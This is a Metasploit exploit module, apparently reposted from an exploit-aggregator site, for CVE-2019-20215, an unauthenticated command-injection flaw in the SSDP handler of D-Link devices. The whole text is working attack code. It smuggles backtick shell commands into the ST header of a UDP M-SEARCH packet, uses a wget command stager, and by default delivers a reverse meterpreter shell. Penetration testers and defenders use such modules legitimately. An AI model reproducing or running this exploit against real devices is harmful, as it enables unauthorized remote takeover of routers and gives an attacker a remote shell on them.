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## https://sploitus.com/exploit?id=PACKETSTORM:156250
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',  
'Description' => %q{  
D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.  
},  
'Author' =>  
[  
's1kr10s',  
'secenv'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-20215'],  
['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']  
],  
'DisclosureDate' => 'Dec 24 2019',  
'Privileged' => true,  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE,  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'wget',  
'RPORT' => '1900'  
},  
'Targets' =>  
[  
[ 'Auto', { } ],  
],  
'CmdStagerFlavor' => %w{ echo wget },  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])  
])  
end  
  
def exploit  
execute_cmdstager(linemax: 1500)  
end  
  
def execute_command(cmd, opts)  
type = datastore['VECTOR']  
if type == "URN"  
print_status("Target Payload URN")  
val = "urn:device:1;`#{cmd}`"  
else  
print_status("Target Payload UUID")  
val = "uuid:`#{cmd}`"  
end  
  
connect_udp  
header = "M-SEARCH * HTTP/1.1\r\n"  
header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"  
header << "ST:#{val}\r\n"  
header << "Man:\"ssdp:discover\"\r\n"  
header << "MX:2\r\n\r\n"  
udp_sock.put(header)  
disconnect_udp  
end  
end